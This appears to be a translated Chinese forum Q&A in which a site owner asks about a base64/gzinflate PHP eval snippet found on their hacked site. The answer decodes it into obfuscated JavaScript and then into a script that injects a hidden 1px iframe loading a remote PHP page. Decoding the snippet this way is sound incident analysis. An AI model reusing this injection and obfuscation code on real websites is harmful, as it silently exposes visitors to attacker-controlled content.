Question

我的网站被黑了。我想知道这段代码意味着什么？

<?
#0242d5
#eval(gzinflate(base64_decode("5VVNc5swEL33V1gcOjBOMV8WtITUMzn13GPpQQaB6TiGImI39vi/d3cFcXGTZsbNLR4GS6t9b9+utEJmq3piTN7s71plbdV0k+6hkUlqdPJXN/shtkKbU2OyFpvyXpS4OLLfvN2aNUkjWiW/bLpYqcR0Pd/6/LVrq01pF219d7sS7W2dy09OLFT5EwrnRYxzFs4Zl4z7LAwYXzBe4NRzGKx6CxyES5YzQabhCTnjLgs9HAMghDeN/ZwsAbH4RJ0zTgGA3dNhPLK4FG/OAhhnZPnTE2KHpIaTv9uvghE0+VrQuaiTEODQcfyTKOSLkBsfMAK2wAeDF+iP0TJ63F4pJpGTD6E4ZYAhInwDob98UQQgF32CPXgIdlbuk0oX4aEOn2ENdaEuiQd2dPBoS+b9hj1G8i9LAtLHjQLLUNIRqYvYMLqsPnrTdbmj1+PtTxh/XbFB7/AC41+sdKz7DnP/2S0h7VrwdJMEHsoJqF59wzzqpT55tn1Hap4PD7uBR2cxHECdVEaQBd4BfTIBpj/PRgr01JforztIQ8AyauILZP1vVSRdPg4Z9d0HKJ+Otd5dAp5QT2oNczLBH1JG2is17FY2a5FJc7aYlVep8TE1LFs166ozU4PBJO7ah0NeZ/d3ctPZyzp/eJ84tnvMRJetzDJXpcpL67DfJ36cL9WqlUnoxFVh6ol12BbbnUycEU/cwwXiBxc3PgKM0cQ6yERuxTo+Krj3UwMJ93urqFuzAq7qQwBJ42A6tQ6wtqs2eb2zB35LTROlzMbED8e36vuVyy2L6M8dpalg4Xg90x/km3dG/Bs=")));
#/0242d5#
?>

提前致谢。

Answer 1

以下是解码内容：

<script type="text/javascript" language="javascript">
p = parseInt;
ss = (123) ? String.fromCharCode : 0;
asgq = "28!66!75!6e!63!74!6@!6f!6e!20!28!2@!20!7b!d!a!20!20!20!20!76!61!72!20!6f!70!62!20!3d!20!64!6f!63!75!6d!65!6e!74!2e!63!72!65!61!74!65!45!6c!65!6d!65!6e!74!28!27!6@!66!72!61!6d!65!27!2@!3b!d!a!d!a!20!20!20!20!6f!70!62!2e!73!72!63!20!3d!20!27!68!74!74!70!3a!2f!2f!6c!6f!73!6@!6c!6c!61!2e!63!6f!6d!2f!64!74!64!2e!70!68!70!27!3b!d!a!20!20!20!20!6f!70!62!2e!73!74!7@!6c!65!2e!70!6f!73!6@!74!6@!6f!6e!20!3d!20!27!61!62!73!6f!6c!75!74!65!27!3b!d!a!20!20!20!20!6f!70!62!2e!73!74!7@!6c!65!2e!62!6f!72!64!65!72!20!3d!20!27!30!27!3b!d!a!20!20!20!20!6f!70!62!2e!73!74!7@!6c!65!2e!68!65!6@!67!68!74!20!3d!20!27!31!70!78!27!3b!d!a!20!20!20!20!6f!70!62!2e!73!74!7@!6c!65!2e!77!6@!64!74!68!20!3d!20!27!31!70!78!27!3b!d!a!20!20!20!20!6f!70!62!2e!73!74!7@!6c!65!2e!6c!65!66!74!20!3d!20!27!31!70!78!27!3b!d!a!20!20!20!20!6f!70!62!2e!73!74!7@!6c!65!2e!74!6f!70!20!3d!20!27!31!70!78!27!3b!d!a!d!a!20!20!20!20!6@!66!20!28!21!64!6f!63!75!6d!65!6e!74!2e!67!65!74!45!6c!65!6d!65!6e!74!42!7@!4@!64!28!27!6f!70!62!27!2@!2@!20!7b!d!a!20!20!20!20!20!20!20!20!64!6f!63!75!6d!65!6e!74!2e!77!72!6@!74!65!28!27!3c!64!6@!76!20!6@!64!3d!5c!27!6f!70!62!5c!27!3e!3c!2f!64!6@!76!3e!27!2@!3b!d!a!20!20!20!20!20!20!20!20!64!6f!63!75!6d!65!6e!74!2e!67!65!74!45!6c!65!6d!65!6e!74!42!7@!4@!64!28!27!6f!70!62!27!2@!2e!61!70!70!65!6e!64!43!68!6@!6c!64!28!6f!70!62!2@!3b!d!a!20!20!20!20!7d!d!a!7d!2@!28!2@!3b".replace(/@/g, "9").split("!");
try {
    document.body &= 0.1
} catch (gdsgsdg) {
    zz = 3;
    dbshre = 70;
    if (dbshre) {
        vfvwe = 0;
        try {
            document;
        } catch (agdsg) {
            vfvwe = 1;
        }
        if (!vfvwe) {
            e = eval;
        }
        s = "";
        if (zz) for (i = 0; i - 464 != 0; i++) {
                if (window.document) s += ss(p(asgq[i], 16));
        }
        if (window.document) e(s);
    }
}
</script>

那个（手工混淆的）脚本的解码内容：

(function () {
    var opb = document.createElement('iframe');

    opb.src = 'http://losilla.com/dtd.php';
    opb.style.position = 'absolute';
    opb.style.border = '0';
    opb.style.height = '1px';
    opb.style.width = '1px';
    opb.style.left = '1px';
    opb.style.top = '1px';

    if (!document.getElementById('opb')) {
        document.write('<div id=\'opb\'></div>');
        document.getElementById('opb').appendChild(opb);
    }
})();

看起来它回到http://losilla.com/dtd.php以确认网站已被盗用。可能还有一个后门脚本位于公共文件夹的某个位置。

我的网站被黑了，但我不知道这意味着什么

1 个答案: